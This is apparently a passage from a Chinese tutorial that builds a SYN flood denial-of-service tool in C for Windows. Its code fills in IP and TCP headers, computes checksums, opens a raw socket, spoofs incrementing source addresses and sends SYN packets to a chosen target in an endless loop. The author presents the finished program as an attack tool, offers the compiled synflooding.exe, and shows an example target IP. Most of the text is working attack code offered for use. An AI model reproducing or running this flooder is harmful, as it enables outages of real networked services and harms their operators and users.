USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } |
看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。
由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。
struct //定义TCP伪首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 } psd_header; typedef struct _tcphdr //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres;//4位首部长度/6位保留字 unsigned char th_flag;//6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 } TCP_HEADER; |
在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。
#include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define SEQ 0x28376839 #define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP #define FAKE_IP "10.168.150.1" //伪装IP的起始值,可以是任意IP #define STATUS_FAILED 0xFFFF//错误返回值 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]; // 每个数据包是128个字节 char DestIP[16]; // 要攻击的机器IP,在这里就是B的IP memset(DestIP, 0, 4); // 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP if(argc < 2) strcpy(DestIP, SYN_DEST_IP); else strcpy(DestIP, argv[1]); // 以下是声明Socket变量和相应的数据结构 WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; … … } |
//初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本 { fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息 { fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } |
第二步就是填充刚才定义的那些数据结构
//设置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n"); __try{ //设置发送超时 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节) ip_header.ident=1; //16位标识 ip_header.frag_and_flags=0; //3位标志位 ip_header.ttl=128; //8位生存时间TTL ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…) ip_header.checksum=0;//16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 //填充TCP首部 tcp_header.th_sport=htons(7000);//源端口号 tcp_header.th_dport=htons(8080);//目的端口号 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_ack=0; //ACK序列号置为0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位 tcp_header.th_flag=2; //SYN 标志 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校验和 //填充TCP伪首部(用于计算校验和,并不真正发送) psd_header.saddr=ip_header.sourceIP;//源地址 psd_header.daddr=ip_header.destIP;//目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP;//协议类型 psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度 |
最后一步是通过一个while循环发送向目标机器发送报文
while(1) { //每发送10000个报文输出一个标示符 printf("."); for(counter=0;counter<10000;counter++){ if(SendSEQ++==65536) SendSEQ=1;//序列号循环 //更改IP首部 ip_header.checksum=0;//16位IP首部校验和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 //更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号 tcp_header.th_sum=0; //校验和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //计算TCP校验和,计算校验和时需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); //计算IP校验和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充发送缓冲区 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //发送TCP报文 ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); } } |
到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。